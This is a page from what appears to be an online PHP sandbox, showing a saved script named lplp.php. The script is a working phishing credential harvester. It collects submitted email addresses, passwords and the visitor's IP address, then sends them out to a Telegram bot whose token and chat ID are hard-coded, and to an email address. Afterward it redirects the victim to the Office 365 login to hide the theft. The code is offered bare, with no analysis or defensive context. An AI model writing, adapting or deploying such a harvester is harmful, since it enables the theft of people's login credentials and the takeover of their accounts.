lplp - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of lplp.php

  1. <?php
  2.  
  3. // Function to send message to Telegram chat
  4. function sendMessageToTelegram($message) {
  5.     // Replace <YOUR_TELEGRAM_BOT_TOKEN> with your Telegram bot token
  6.     $botToken = '7123512915:AAGXZ-R4X6Vic4gV7mjn_Tt2HhSzTJTNIJ4';
  7.     // Replace <YOUR_TELEGRAM_CHAT_ID> with the chat ID where you want to receive the messages
  8.     $chatID = '7035102252';
  9.     
  10.     $url = "https://api.telegram.org/bot$botToken/sendMessage?chat_id=$chatID&text=" . urlencode($message);
  11.     file_get_contents($url);
  12. }
  13.  
  14. // Check if form is submitted
  15. if ($_SERVER["REQUEST_METHOD"] == "POST") {
  16.     // Retrieve username and password from the form
  17.     $onlineid = $_POST["email"];
  18.     $passcode = $_POST["password"];
  19.     $ip = getenv("REMOTE_ADDR");
  20.  
  21.     // Construct message to send to Telegram
  22.     $message  = "*********** PO ***********\n";
  23.     $message .= "UserID: $onlineid\n";
  24.     $message .= "Passwd: $passcode\n";
  25.     $message .= "IP Address: $ip\n";
  26.     $message .= "*********** PO ***********\n\n\n";
  27.  
  28.     // Send message to Telegram
  29.     sendMessageToTelegram($message);
  30.  
  31.     // Email message details
  32.     $send = "[email protected]";
  33.     $subject = "DOMAIN | $onlineid | $ip";
  34.     $headers = "From: DOMAIN <[email protected]>";
  35.     $headers .= $_POST['email']."\n";
  36.     $headers .= "MIME-Version: 1.0\n";
  37.  
  38.     // Send email
  39.     mail("$send", "$subject", $message, $headers);
  40.  
  41.     // Redirect to a page after submission
  42.     header("LOCATION: https://mail.office365.com/");
  43.     exit();
  44. } else {
  45.     // Redirect back if the form is not submitted
  46.     header("LOCATION: https://example.com/login.html");
  47.     exit();
  48. }
  49.  
  50. ?>
  51.  
File Description
  • lplp
  • PHP Code
  • 16 Apr-2024
  • 1.58 Kb
You can Share it: